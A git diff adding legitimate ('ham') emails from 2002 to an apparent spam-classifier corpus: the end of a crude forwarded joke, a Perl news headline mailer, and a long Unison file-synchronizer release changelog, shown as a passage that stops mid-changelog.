+Resent-From: 0xdeadbeef@petting-zoo.net +X-Mailing-List: <0xdeadbeef@petting-zoo.net> archive/latest/528 +X-Loop: 0xdeadbeef@petting-zoo.net +List-Post: +List-Help: +List-Subscribe: +List-Unsubscribe: +Precedence: list +Resent-Sender: 0xdeadbeef-request@petting-zoo.net +Resent-Date: Mon, 19 Aug 2002 13:40:32 -0700 (PDT) + + +Forwarded-by: Nev Dull +Forwarded-by: "Simondo" + +Sean Connery was interviewed by Michael Parkinson, and bragged that +despite his 72 years of age, he could still have sex three times a +night. + +Lulu, who was also a guest, looked intrigued. + +After the show, Lulu said, "Sean, if Ah'm no bein too forward, Ah'd love +tae hae sex wi an aulder man. Let's go back tae mah place." + +So they go back to her place and have great sex. Afterwards, Sean says, +"If you think that was good, let me shleep for half an hour, and we can +have even better shex. But while I'm shleeping, hold my baws in your +left hand and my wullie in your right hand." + +Lulu looks a bit perplexed, but says, "Okay." + +He sleeps for half and hour, awakens, and they have even better sex. +Then Sean says, "Lulu, that was wonderful. But if you let me shleep +for an hour, we can have the besht shex yet. But again, hold my baws +in your left hand, and my wullie in your right hand." + +Lulu is now used to the routine and complies. + +The results are mind blowing. Once it's all over, and the cigarettes +are lit, Lulu asks "Sean, tell me, dis mah haudin yer baws in mah left +hand and yer wullie in mah right stimulate ye while ye're sleepin?" + +Sean replies, "No, but the lasht time I shlept with a Glashwegian, she +shtole my wallet." + + diff --git a/bayes/spamham/easy_ham_2/01379.7b9367f184ed0a8c46b6c8562b86caf8 b/bayes/spamham/easy_ham_2/01379.7b9367f184ed0a8c46b6c8562b86caf8 new file mode 100644 index 0000000..3257c78 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01379.7b9367f184ed0a8c46b6c8562b86caf8 @@ -0,0 +1,50 @@ +From pudge@perl.org Tue Aug 20 11:00:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B8AAF43C47 + for ; Tue, 20 Aug 2002 05:59:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:59:10 +0100 (IST) +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7K20RZ20426 for + ; Tue, 20 Aug 2002 03:00:28 +0100 +Received: from [10.2.181.14] (helo=perl.org) by cpu59.osdn.com with smtp + (Exim 3.35 #1 (Debian)) id 17gyIg-0002I6-00 for ; + Mon, 19 Aug 2002 21:59:18 -0400 +Date: Tue, 20 Aug 2002 02:00:22 +0000 +From: pudge@perl.org +Subject: [use Perl] Headlines for 2002-08-20 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Headline Mailer + +Call for Perl Monger T-Shirts at YAPC::Europe + posted by ziggy on Monday August 19, @08:53 (yapce) + http://use.perl.org/article.pl?sid=02/08/19/1254219 + +This Week on perl5-porters (11-18 August 2002) + posted by pudge on Monday August 19, @10:12 (summaries) + http://use.perl.org/article.pl?sid=02/08/19/1230217 + + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. + diff --git a/bayes/spamham/easy_ham_2/01380.e3fad5af747d3a110008f94a046bf31b b/bayes/spamham/easy_ham_2/01380.e3fad5af747d3a110008f94a046bf31b new file mode 100644 index 0000000..bcd72ea --- /dev/null +++ b/bayes/spamham/easy_ham_2/01380.e3fad5af747d3a110008f94a046bf31b @@ -0,0 +1,1982 @@ +From bcpierce@saul.cis.upenn.edu Tue Aug 20 11:00:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 22A4B43C46 + for ; Tue, 20 Aug 2002 05:58:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:58:53 +0100 (IST) +Received: from n38.grp.scd.yahoo.com (n38.grp.scd.yahoo.com + [66.218.66.106]) by dogma.slashnull.org (8.11.6/8.11.6) with SMTP id + g7K1lMZ20107 for ; Tue, 20 Aug 2002 02:47:22 +0100 +X-Egroups-Return: sentto-1810793-37-1029808039-yyyy-unison=spamassassin.taint.org@returns.groups.yahoo.com +Received: from [66.218.67.198] by n38.grp.scd.yahoo.com with NNFMP; + 20 Aug 2002 01:47:20 -0000 +X-Sender: bcpierce@saul.cis.upenn.edu +X-Apparently-To: unison-announce@egroups.com +Received: (EGP: mail-8_0_7_4); 20 Aug 2002 01:47:17 -0000 +Received: (qmail 79132 invoked from network); 20 Aug 2002 01:46:48 -0000 +Received: from unknown (66.218.66.216) by m5.grp.scd.yahoo.com with QMQP; + 20 Aug 2002 01:46:48 -0000 +Received: from unknown (HELO saul.cis.upenn.edu) (158.130.12.4) by + mta1.grp.scd.yahoo.com with SMTP; 20 Aug 2002 01:46:48 -0000 +Received: from localhost (localhost [127.0.0.1]) by saul.cis.upenn.edu + (8.12.5/8.12.5) with SMTP id g7K1klir006536; Mon, 19 Aug 2002 21:46:47 + -0400 (EDT) +To: unison-announce@yahoogroups.com, unison-users@egroups.com +Message-Id: <6535.1029808006@saul.cis.upenn.edu> +From: "Benjamin C. Pierce" +MIME-Version: 1.0 +Mailing-List: list unison-announce@yahoogroups.com; contact + unison-announce-owner@yahoogroups.com +Delivered-To: mailing list unison-announce@yahoogroups.com +Precedence: bulk +List-Unsubscribe: +Date: Mon, 19 Aug 2002 21:46:46 EDT +Subject: [unison-announce] New unison beta-release (2.9.20) now available +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit + +------------------------ Yahoo! Groups Sponsor ---------------------~--> +4 DVDs Free +s&p Join Now +http://us.click.yahoo.com/pt6YBB/NXiEAA/Ey.GAA/26EolB/TM +---------------------------------------------------------------------~-> + +A new version of unison is now available for testing. It incorporates +several small improvements over 2.9.1, but the main change is a fix to +a bug that had potentially serious safety consequences, but only for +the very small number of users that are in the habit of running more +than one instance of Unison at a time, in parallel. These users are +strongly encouraged to upgrade. Others can wait if they wish. + +The release includes pre-built executables for Linux and Solaris, but +not Windows. (We are looking for a Unison-Windows maintainer -- at +the moment, none of the active developers are regularly using Unison +on Windows, and we do not have a machine that is configured properly +for building executables for export.) + +Grab it from here: + http://www.cis.upenn.edu/~bcpierce/unison/download.html + +Enjoy, + + -- Benjamin + + Changes since 2.9.1: + * Added a preference maxthreads that can be used to limit the number + of simultaneous file transfers. + * Added a backupdir preference, which controls where backup files + are stored. + * Basic support added for OSX. In particular, Unison now recognizes + when one of the hosts being synchronized is running OSX and + switches to a case-insensitive treatment of filenames (i.e., 'foo' + and 'FOO' are considered to be the same file). (OSX is not yet + fully working, however: in particular, files with resource forks + will not be synchronized correctly.) + * The same hash used to form the archive name is now also added to + the names of the temp files created during file transfer. The + reason for this is that, during update detection, we are going to + silently delete any old temp files that we find along the way, and + we want to prevent ourselves from deleting temp files belonging to + other instances of Unison that may be running in parallel, e.g. + synchronizing with a different host. Thanks to Ruslan Ermilov for + this suggestion. + * Several small user interface improvements + * Documentation + + FAQ and bug reporting instructions have been split out as + separate HTML pages, accessible directly from the unison web + page. + + Additions to FAQ, in particular suggestions about performance + tuning. + * Makefile + + Makefile.OCaml now sets UISTYLE=text or UISTYLE=gtk + automatically, depending on whether it finds lablgtk + installed + + Unison should now compile ``out of the box'' under OSX + + Changes since 2.8.1: + * Changing profile works again under Windows + * File movement optimization: Unison now tries to use local copy + instead of transfer for moved or copied files. It is controled by + a boolean option ``xferbycopying''. + * Network statistics window (transfer rate, amount of data + transferred). [NB: not available in Windows-Cygwin version.] + * symlinks work under the cygwin version (which is dynamically + linked). + * Fixed potential deadlock when synchronizing between Windows and + Unix + * Small improvements: + + If neither the + tt USERPROFILE nor the + tt HOME environment variables are set, then Unison will put + its temporary commit log (called + tt DANGER.README) into the directory named by the + tt UNISON environment variable, if any; otherwise it will use + tt C:. + + alternative set of values for fastcheck: yes = true; no = + false; default = auto. + + -silent implies -contactquietly + * Source code: + + Code reorganization and tidying. (Started breaking up some of + the basic utility modules so that the non-unison-specific + stuff can be made available for other projects.) + + several Makefile and docs changes (for release); + + further comments in ``update.ml''; + + connection information is not stored in global variables + anymore. + + Changes since 2.7.78: + * Small bugfix to textual user interface under Unix (to avoid + leaving the terminal in a bad state where it would not echo inputs + after Unison exited). + + Changes since 2.7.39: + * Improvements to the main web page (stable and beta version docs + are now both accessible). + * User manual revised. + * Added some new preferences: + + ``sshcmd'' and ``rshcmd'' for specifying paths to ssh and rsh + programs. + + ``contactquietly'' for suppressing the ``contacting server'' + message during Unison startup (under the graphical UI). + * Bug fixes: + + Fixed small bug in UI that neglected to change the displayed + column headers if loading a new profile caused the roots to + change. + + Fixed a bug that would put the text UI into an infinite loop + if it encountered a conflict when run in batch mode. + + Added some code to try to fix the display of non-Ascii + characters in filenames on Windows systems in the GTK UI. + (This code is currently untested---if you're one of the + people that had reported problems with display of non-ascii + filenames, we'd appreciate knowing if this actually fixes + things.) + + `-prefer/-force newer' works properly now. (The bug was + reported by Sebastian Urbaniak and Sean Fulton.) + * User interface and Unison behavior: + + Renamed `Proceed' to `Go' in the graphical UI. + + Added exit status for the textual user interface. + + Paths that are not synchronized because of conflicts or + errors during update detection are now noted in the log file. + + [END] messages in log now use a briefer format + + Changed the text UI startup sequence so that + tt ./unison -ui text will use the default profile instead of + failing. + + Made some improvements to the error messages. + + Added some debugging messages to remote.ml. + + Changes since 2.7.7: + * Incorporated, once again, a multi-threaded transport sub-system. + It transfers several files at the same time, thereby making much + more effective use of available network bandwidth. Unlike the + earlier attempt, this time we do not rely on the native thread + library of OCaml. Instead, we implement a light-weight, + non-preemptive multi-thread library in OCaml directly. This + version appears stable. + Some adjustments to unison are made to accommodate the + multi-threaded version. These include, in particular, changes to + the user interface and logging, for example: + + Two log entries for each transferring task, one for the + beginning, one for the end. + + Suppressed warning messages against removing temp files left + by a previous unison run, because warning does not work + nicely under multi-threading. The temp file names are made + less likely to coincide with the name of a file created by + the user. They take the form + .#..unison.tmp. + * Added a new command to the GTK user interface: pressing 'f' causes + Unison to start a new update detection phase, using as paths just + those paths that have been detected as changed and not yet marked + as successfully completed. Use this command to quickly restart + Unison on just the set of paths still needing attention after a + previous run. + * Made the ignorecase preference user-visible, and changed the + initialization code so that it can be manually set to true, even + if neither host is running Windows. (This may be useful, e.g., + when using Unison running on a Unix system with a FAT volume + mounted.) + * Small improvements and bug fixes: + + Errors in preference files now generate fatal errors rather + than warnings at startup time. (I.e., you can't go on from + them.) Also, we fixed a bug that was preventing these + warnings from appearing in the text UI, so some users who + have been running (unsuspectingly) with garbage in their + prefs files may now get error reports. + + Error reporting for preference files now provides file name + and line number. + + More intelligible message in the case of identical change to + the same files: ``Nothing to do: replicas have been changed + only in identical ways since last sync.'' + + Files with prefix '.#' excluded when scanning for preference + files. + + Rsync instructions are send directly instead of first + marshaled. + + Won't try forever to get the fingerprint of a continuously + changing file: unison will give up after certain number of + retries. + + Other bug fixes, including the one reported by Peter Selinger + (force=older preference not working). + * Compilation: + + Upgraded to the new OCaml 3.04 compiler, with the LablGtk + 1.2.3 library (patched version used for compiling under + Windows). + + Added the option to compile unison on the Windows platform + with Cygwin GNU C compiler. This option only supports + building dynamically linked unison executables. + + Changes since 2.7.4: + * Fixed a silly (but debilitating) bug in the client startup + sequence. + + Changes since 2.7.1: + * Added addprefsto preference, which (when set) controls which + preference file new preferences (e.g. new ignore patterns) are + added to. + * Bug fix: read the initial connection header one byte at a time, so + that we don't block if the header is shorter than expected. (This + bug did not affect normal operation --- it just made it hard to + tell when you were trying to use Unison incorrectly with an old + version of the server, since it would hang instead of giving an + error message.) + + Changes since 2.6.59: + * Changed fastcheck from a boolean to a string preference. Its legal + values are yes (for a fast check), no (for a safe check), or + default (for a fast check---which also happens to be safe---when + running on Unix and a safe check when on Windows). The default is + default. + * Several preferences have been renamed for consistency. All + preference names are now spelled out in lowercase. For backward + compatibility, the old names still work, but they are not + mentioned in the manual any more. + * The temp files created by the 'diff' and 'merge' commands are now + named by prepending a new prefix to the file name, rather than + appending a suffix. This should avoid confusing diff/merge + programs that depend on the suffix to guess the type of the file + contents. + * We now set the keepalive option on the server socket, to make sure + that the server times out if the communication link is + unexpectedly broken. + * Bug fixes: + + When updating small files, Unison now closes the destination + file. + + File permissions are properly updated when the file is behind + a followed link. + + Several other small fixes. + + Changes since 2.6.38: + * Major Windows performance improvement! + We've added a preference fastcheck that makes Unison look only at + a file's creation time and last-modified time to check whether it + has changed. This should result in a huge speedup when checking + for updates in large replicas. + When this switch is set, Unison will use file creation times as + 'pseudo inode numbers' when scanning Windows replicas for updates, + instead of reading the full contents of every file. This may cause + Unison to miss propagating an update if the create time, + modification time, and length of the file are all unchanged by the + update (this is not easy to achieve, but it can be done). However, + Unison will never overwrite such an update with a change from the + other replica, since it always does a safe check for updates just + before propagating a change. Thus, it is reasonable to use this + switch most of the time and occasionally run Unison once with + fastcheck set to false, if you are worried that Unison may have + overlooked an update. + Warning: This change is has not yet been thoroughly field-tested. + If you set the fastcheck preference, pay careful attention to what + Unison is doing. + * New functionality: centralized backups and merging + + This version incorporates two pieces of major new + functionality, implemented by Sylvain Roy during a summer + internship at Penn: a centralized backup facility that keeps + a full backup of (selected files in) each replica, and a + merging feature that allows Unison to invoke an external + file-merging tool to resolve conflicting changes to + individual files. + + Centralized backups: + o Unison now maintains full backups of the + last-synchronized versions of (some of) the files in + each replica; these function both as backups in the + usual sense and as the ``common version'' when invoking + external merge programs. + o The backed up files are stored in a directory + /.unison/backup on each host. (The name of this + directory can be changed by setting the environment + variable UNISONBACKUPDIR.) + o The predicate backup controls which files are actually + backed up: giving the preference 'backup = Path *' + causes backing up of all files. + o Files are added to the backup directory whenever unison + updates its archive. This means that + # When unison reconstructs its archive from scratch + (e.g., because of an upgrade, or because the + archive files have been manually deleted), all + files will be backed up. + # Otherwise, each file will be backed up the first + time unison propagates an update for it. + o The preference backupversions controls how many previous + versions of each file are kept. The default is 2 (i.e., + the last synchronized version plus one backup). + o For backward compatibility, the backups preference is + also still supported, but backup is now preferred. + o It is OK to manually delete files from the backup + directory (or to throw away the directory itself). + Before unison uses any of these files for anything + important, it checks that its fingerprint matches the + one that it expects. + + Merging: + o Both user interfaces offer a new 'merge' command, + invoked by pressing 'm' (with a changed file selected). + o The actual merging is performed by an external program. + The preferences merge and merge2 control how this + program is invoked. If a backup exists for this file + (see the backup preference), then the merge preference + is used for this purpose; otherwise merge2 is used. In + both cases, the value of the preference should be a + string representing the command that should be passed to + a shell to invoke the merge program. Within this string, + the special substrings CURRENT1, CURRENT2, NEW, and OLD + may appear at any point. Unison will substitute these as + follows before invoking the command: + # CURRENT1 is replaced by the name of the local copy + of the file; + # CURRENT2 is replaced by the name of a temporary + file, into which the contents of the remote copy of + the file have been transferred by Unison prior to + performing the merge; + # NEW is replaced by the name of a temporary file + that Unison expects to be written by the merge + program when it finishes, giving the desired new + contents of the file; and + # OLD is replaced by the name of the backed up copy + of the original version of the file (i.e., its + state at the end of the last successful run of + Unison), if one exists (applies only to merge, not + merge2). + For example, on Unix systems setting the merge + preference to + + merge = diff3 -m CURRENT1 OLD CURRENT2 > NEW + will tell Unison to use the external diff3 program for + merging. + A large number of external merging programs are + available. For example, emacs users may find the + following convenient: + + merge2 = emacs -q --eval '(ediff-merge-files "CURRENT1" "CURRENT2" + nil "NEW")' + merge = emacs -q --eval '(ediff-merge-files-with-ancestor + "CURRENT1" "CURRENT2" "OLD" nil "NEW")' + (These commands are displayed here on two lines to avoid + running off the edge of the page. In your preference + file, each should be written on a single line.) + o If the external program exits without leaving any file + at the path NEW, Unison considers the merge to have + failed. If the merge program writes a file called NEW + but exits with a non-zero status code, then Unison + considers the merge to have succeeded but to have + generated conflicts. In this case, it attempts to invoke + an external editor so that the user can resolve the + conflicts. The value of the editor preference controls + what editor is invoked by Unison. The default is emacs. + o Please send us suggestions for other useful values of + the merge2 and merge preferences -- we'd like to give + several examples in the manual. + * Smaller changes: + + When one preference file includes another, unison no longer + adds the suffix '.prf' to the included file by default. If a + file with precisely the given name exists in the .unison + directory, it will be used; otherwise Unison will add .prf, + as it did before. (This change means that included preference + files can be named blah.include instead of blah.prf, so that + unison will not offer them in its 'choose a preference file' + dialog.) + + For Linux systems, we now offer both a statically linked and + a dynamically linked executable. The static one is larger, + but will probably run on more systems, since it doesn't + depend on the same versions of dynamically linked library + modules being available. + + Fixed the force and prefer preferences, which were getting + the propagation direction exactly backwards. + + Fixed a bug in the startup code that would cause unison to + crash when the default profile (~/.unison/default.prf) does + not exist. + + Fixed a bug where, on the run when a profile is first + created, Unison would confusingly display the roots in + reverse order in the user interface. + * For developers: + + We've added a module dependency diagram to the source + distribution, in src/DEPENDENCIES.ps, to help new prospective + developers with navigating the code. + + Changes since 2.6.11: + * INCOMPATIBLE CHANGE: Archive format has changed. + * INCOMPATIBLE CHANGE: The startup sequence has been completely + rewritten and greatly simplified. The main user-visible change is + that the defaultpath preference has been removed. Its effect can + be approximated by using multiple profiles, with include + directives to incorporate common settings. All uses of defaultpath + in existing profiles should be changed to path. + Another change in startup behavior that will affect some users is + that it is no longer possible to specify roots both in the profile + and on the command line. + You can achieve a similar effect, though, by breaking your profile + into two: + + + default.prf = + root = blah + root = foo + include common + + common.prf = + + Now do + + unison common root1 root2 + when you want to specify roots explicitly. + * The -prefer and -force options have been extended to allow users + to specify that files with more recent modtimes should be + propagated, writing either -prefer newer or -force newer. (For + symmetry, Unison will also accept -prefer older or -force older.) + The -force older/newer options can only be used when -times is + also set. + The graphical user interface provides access to these facilities + on a one-off basis via the Actions menu. + * Names of roots can now be ``aliased'' to allow replicas to be + relocated without changing the name of the archive file where + Unison stores information between runs. (This feature is for + experts only. See the ``Archive Files'' section of the manual for + more information.) + * Graphical user-interface: + + A new command is provided in the Synchronization menu for + switching to a new profile without restarting Unison from + scratch. + + The GUI also supports one-key shortcuts for commonly used + profiles. If a profile contains a preference of the form 'key + = n', where n is a single digit, then pressing this key will + cause Unison to immediately switch to this profile and begin + synchronization again from scratch. (Any actions that may + have been selected for a set of changes currently being + displayed will be discarded.) + + Each profile may include a preference 'label = ' + giving a descriptive string that described the options + selected in this profile. The string is listed along with the + profile name in the profile selection dialog, and displayed + in the top-right corner of the main Unison window. + * Minor: + + Fixed a bug that would sometimes cause the 'diff' display to + order the files backwards relative to the main user + interface. (Thanks to Pascal Brisset for this fix.) + + On Unix systems, the graphical version of Unison will check + the DISPLAY variable and, if it is not set, automatically + fall back to the textual user interface. + + Synchronization paths (path preferences) are now matched + against the ignore preferences. So if a path is both + specified in a path preference and ignored, it will be + skipped. + + Numerous other bugfixes and small improvements. + + Changes since 2.6.1: + * The synchronization of modification times has been disabled for + directories. + * Preference files may now include lines of the form include , + which will cause name.prf to be read at that point. + * The synchronization of permission between Windows and Unix now + works properly. + * A binding CYGWIN=binmode in now added to the environment so that + the Cygwin port of OpenSSH works properly in a non-Cygwin context. + * The servercmd and addversionno preferences can now be used + together: -addversionno appends an appropriate -NNN to the server + command, which is found by using the value of the -servercmd + preference if there is one, or else just unison. + * Both '-pref=val' and '-pref val' are now allowed for boolean + values. (The former can be used to set a preference to false.) + * Lot of small bugs fixed. + + Changes since 2.5.31: + * The log preference is now set to true by default, since the log + file seems useful for most users. + * Several miscellaneous bugfixes (most involving symlinks). + + Changes since 2.5.25: + * INCOMPATIBLE CHANGE: Archive format has changed (again). + * Several significant bugs introduced in 2.5.25 have been fixed. + + Changes since 2.5.1: + * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you + synchronize your replicas before upgrading, to avoid spurious + conflicts. The first sync after upgrading will be slow. + * New functionality: + + Unison now synchronizes file modtimes, user-ids, and + group-ids. + These new features are controlled by a set of new + preferences, all of which are currently false by default. + o When the times preference is set to true, file + modification times are propaged. (Because the + representations of time may not have the same + granularity on both replicas, Unison may not always be + able to make the modtimes precisely equal, but it will + get them as close as the operating systems involved + allow.) + o When the owner preference is set to true, file ownership + information is synchronized. + o When the group preference is set to true, group + information is synchronized. + o When the numericIds preference is set to true, owner and + group information is synchronized numerically. By + default, owner and group numbers are converted to names + on each replica and these names are synchronized. (The + special user id 0 and the special group 0 are never + mapped via user/group names even if this preference is + not set.) + + Added an integer-valued preference perms that can be used to + control the propagation of permission bits. The value of this + preference is a mask indicating which permission bits should + be synchronized. It is set by default to 0o1777: all bits but + the set-uid and set-gid bits are synchronised (synchronizing + theses latter bits can be a security hazard). If you want to + synchronize all bits, you can set the value of this + preference to -1. + + Added a log preference (default false), which makes Unison + keep a complete record of the changes it makes to the + replicas. By default, this record is written to a file called + unison.log in the user's home directory (the value of the + HOME environment variable). If you want it someplace else, + set the logfile preference to the full pathname you want + Unison to use. + + Added an ignorenot preference that maintains a set of + patterns for paths that should definitely not be ignored, + whether or not they match an ignore pattern. (That is, a path + will now be ignored iff it matches an ignore pattern and does + not match any ignorenot patterns.) + * User-interface improvements: + + Roots are now displayed in the user interface in the same + order as they were given on the command line or in the + preferences file. + + When the batch preference is set, the graphical user + interface no longer waits for user confirmation when it + displays a warning message: it simply pops up an advisory + window with a Dismiss button at the bottom and keeps on + going. + + Added a new preference for controlling how many status + messages are printed during update detection: statusdepth + controls the maximum depth for paths on the local machine + (longer paths are not displayed, nor are non-directory + paths). The value should be an integer; default is 1. + + Removed the trace and silent preferences. They did not seem + very useful, and there were too many preferences for + controlling output in various ways. + + The text UI now displays just the default command (the one + that will be used if the user just types ) instead of + all available commands. Typing ? will print the full list of + possibilities. + + The function that finds the canonical hostname of the local + host (which is used, for example, in calculating the name of + the archive file used to remember which files have been + synchronized) normally uses the gethostname operating system + call. However, if the environment variable + UNISONLOCALHOSTNAME is set, its value will now be used + instead. This makes it easier to use Unison in situations + where a machine's name changes frequently (e.g., because it + is a laptop and gets moved around a lot). + + File owner and group are now displayed in the ``detail + window'' at the bottom of the screen, when unison is + configured to synchronize them. + * For hackers: + + Updated to Jacques Garrigue's new version of lablgtk, which + means we can throw away our local patched version. + If you're compiling the GTK version of unison from sources, + you'll need to update your copy of lablgtk to the developers + release, available from + http://wwwfun.kurims.kyoto-u.ac.jp/soft/olabl/lablgtk.html + (Warning: installing lablgtk under Windows is currently a bit + challenging.) + + The TODO.txt file (in the source distribution) has been + cleaned up and reorganized. The list of pending tasks should + be much easier to make sense of, for people that may want to + contribute their programming energies. There is also a + separate file BUGS.txt for open bugs. + + The Tk user interface has been removed (it was not being + maintained and no longer compiles). + + The debug preference now prints quite a bit of additional + information that should be useful for identifying sources of + problems. + + The version number of the remote server is now checked right + away during the connection setup handshake, rather than + later. (Somebody sent a bug report of a server crash that + turned out to come from using inconsistent versions: better + to check this earlier and in a way that can't crash either + client or server.) + + Unison now runs correctly on 64-bit architectures (e.g. Alpha + linux). We will not be distributing binaries for these + architectures ourselves (at least for a while) but if someone + would like to make them available, we'll be glad to provide a + link to them. + * Bug fixes: + + Pattern matching (e.g. for ignore) is now case-insensitive + when Unison is in case-insensitive mode (i.e., when one of + the replicas is on a windows machine). + + Some people had trouble with mysterious failures during + propagation of updates, where files would be falsely reported + as having changed during synchronization. This should be + fixed. + + Numerous smaller fixes. + + Changes since 2.4.1: + * Added a number of 'sorting modes' for the user interface. By + default, conflicting changes are displayed at the top, and the + rest of the entries are sorted in alphabetical order. This + behavior can be changed in the following ways: + + Setting the sortnewfirst preference to true causes newly + created files to be displayed before changed files. + + Setting sortbysize causes files to be displayed in increasing + order of size. + + Giving the preference sortfirst= (where is + a path descriptor in the same format as 'ignore' and 'follow' + patterns, causes paths matching this pattern to be displayed + first. + + Similarly, giving the preference sortlast= causes + paths matching this pattern to be displayed last. + The sorting preferences are described in more detail in the user + manual. The sortnewfirst and sortbysize flags can also be accessed + from the 'Sort' menu in the grpahical user interface. + * Added two new preferences that can be used to change unison's + fundamental behavior to make it more like a mirroring tool instead + of a synchronizer. + + Giving the preference prefer with argument (by adding + -prefer to the command line or prefer=) to your + profile) means that, if there is a conflict, the contents of + should be propagated to the other replica (with no + questions asked). Non-conflicting changes are treated as + usual. + + Giving the preference force with argument will make + unison resolve all differences in favor of the given root, + even if it was the other replica that was changed. + These options should be used with care! (More information is + available in the manual.) + * Small changes: + + Changed default answer to 'Yes' in all two-button dialogs in + the graphical interface (this seems more intuitive). + + The rsync preference has been removed (it was used to + activate rsync compression for file transfers, but rsync + compression is now enabled by default). + + In the text user interface, the arrows indicating which + direction changes are being propagated are printed + differently when the user has overridded Unison's default + recommendation (====> instead of ---->). This matches the + behavior of the graphical interface, which displays such + arrows in a different color. + + Carriage returns (Control-M's) are ignored at the ends of + lines in profiles, for Windows compatibility. + + All preferences are now fully documented in the user manual. + + Changes since 2.3.12: + * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you + synchronize your replicas before upgrading, to avoid spurious + conflicts. The first sync after upgrading will be slow. + * New/improved functionality: + + A new preference -sortbysize controls the order in which + changes are displayed to the user: when it is set to true, + the smallest changed files are displayed first. (The default + setting is false.) + + A new preference -sortnewfirst causes newly created files to + be listed before other updates in the user interface. + + We now allow the ssh protocol to specify a port. + + Incompatible change: The unison: protocol is deprecated, and + we added file: and socket:. You may have to modify your + profiles in the .unison directory. If a replica is specified + without an explicit protocol, we now assume it refers to a + file. (Previously "//saul/foo" meant to use SSH to connect to + saul, then access the foo directory. Now it means to access + saul via a remote file mechanism such as samba; the old + effect is now achieved by writing ssh://saul/foo.) + + Changed the startup sequence for the case where roots are + given but no profile is given on the command line. The new + behavior is to use the default profile (creating it if it + does not exist), and temporarily override its roots. The + manual claimed that this case would work by reading no + profile at all, but AFAIK this was never true. + + In all user interfaces, files with conflicts are always + listed first + + A new preference 'sshversion' can be used to control which + version of ssh should be used to connect to the server. Legal + values are 1 and 2. (Default is empty, which will make unison + use whatever version of ssh is installed as the default 'ssh' + command.) + + The situation when the permissions of a file was updated the + same on both side is now handled correctly (we used to report + a spurious conflict) + * Improvements for the Windows version: + + The fact that filenames are treated case-insensitively under + Windows should now be handled correctly. The exact behavior + is described in the cross-platform section of the manual. + + It should be possible to synchronize with Windows shares, + e.g., //host/drive/path. + + Workarounds to the bug in syncing root directories in + Windows. The most difficult thing to fix is an ocaml bug: + Unix.opendir fails on c: in some versions of Windows. + * Improvements to the GTK user interface (the Tk interface is no + longer being maintained): + + The UI now displays actions differently (in blue) when they + have been explicitly changed by the user from Unison's + default recommendation. + + More colorful appearance. + + The initial profile selection window works better. + + If any transfers failed, a message to this effect is + displayed along with 'Synchronization complete' at the end of + the transfer phase (in case they may have scrolled off the + top). + + Added a global progress meter, displaying the percentage of + total bytes that have been transferred so far. + * Improvements to the text user interface: + + The file details will be displayed automatically when a + conflict is been detected. + + when a warning is generated (e.g. for a temporary file left + over from a previous run of unison) Unison will no longer + wait for a response if it is running in -batch mode. + + The UI now displays a short list of possible inputs each time + it waits for user interaction. + + The UI now quits immediately (rather than looping back and + starting the interaction again) if the user presses 'q' when + asked whether to propagate changes. + + Pressing 'g' in the text user interface will proceed + immediately with propagating updates, without asking any more + questions. + * Documentation and installation changes: + + The manual now includes a FAQ, plus sections on common + problems and on tricks contributed by users. + + Both the download page and the download directory explicitly + say what are the current stable and beta-test version + numbers. + + The OCaml sources for the up-to-the-minute developers' + version (not guaranteed to be stable, or even to compile, at + any given time!) are now available from the download page. + + Added a subsection to the manual describing cross-platform + issues (case conflicts, illegal filenames) + * Many small bug fixes and random improvements. + + Changes since 2.3.1: + * Several bug fixes. The most important is a bug in the rsync module + that would occasionally cause change propagation to fail with a + 'rename' error. + + Changes since 2.2: + * The multi-threaded transport system is now disabled by default. + (It is not stable enough yet.) + * Various bug fixes. + * A new experimental feature: + The final component of a -path argument may now be the wildcard + specifier *. When Unison sees such a path, it expands this path on + the client into into the corresponding list of paths by listing + the contents of that directory. + Note that if you use wildcard paths from the command line, you + will probably need to use quotes or a backslash to prevent the * + from being interpreted by your shell. + If both roots are local, the contents of the first one will be + used for expanding wildcard paths. (Nb: this is the first one + after the canonization step -- i.e., the one that is listed first + in the user interface -- not the one listed first on the command + line or in the preferences file.) + + Changes since 2.1: + * The transport subsystem now includes an implementation by Sylvain + Gommier and Norman Ramsey of Tridgell and Mackerras's rsync + protocol. This protocol achieves much faster transfers when only a + small part of a large file has been changed by sending just diffs. + This feature is mainly helpful for transfers over slow links---on + fast local area networks it can actually degrade performance---so + we have left it off by default. Start unison with the -rsync + option (or put rsync=true in your preferences file) to turn it on. + * ``Progress bars'' are now diplayed during remote file transfers, + showing what percentage of each file has been transferred so far. + * The version numbering scheme has changed. New releases will now be + have numbers like 2.2.30, where the second component is + incremented on every significant public release and the third + component is the ``patch level.'' + * Miscellaneous improvements to the GTK-based user interface. + * The manual is now available in PDF format. + * We are experimenting with using a multi-threaded transport + subsystem to transfer several files at the same time, making much + more effective use of available network bandwidth. This feature is + not completely stable yet, so by default it is disabled in the + release version of Unison. + If you want to play with the multi-threaded version, you'll need + to recompile Unison from sources (as described in the + documentation), setting the THREADS flag in Makefile.OCaml to + true. Make sure that your OCaml compiler has been installed with + the -with-pthreads configuration option. (You can verify this by + checking whether the file threads/threads.cma in the OCaml + standard library directory contains the string -lpthread near the + end.) + + Changes since 1.292: + * Reduced memory footprint (this is especially important during the + first run of unison, where it has to gather information about all + the files in both repositories). + * Fixed a bug that would cause the socket server 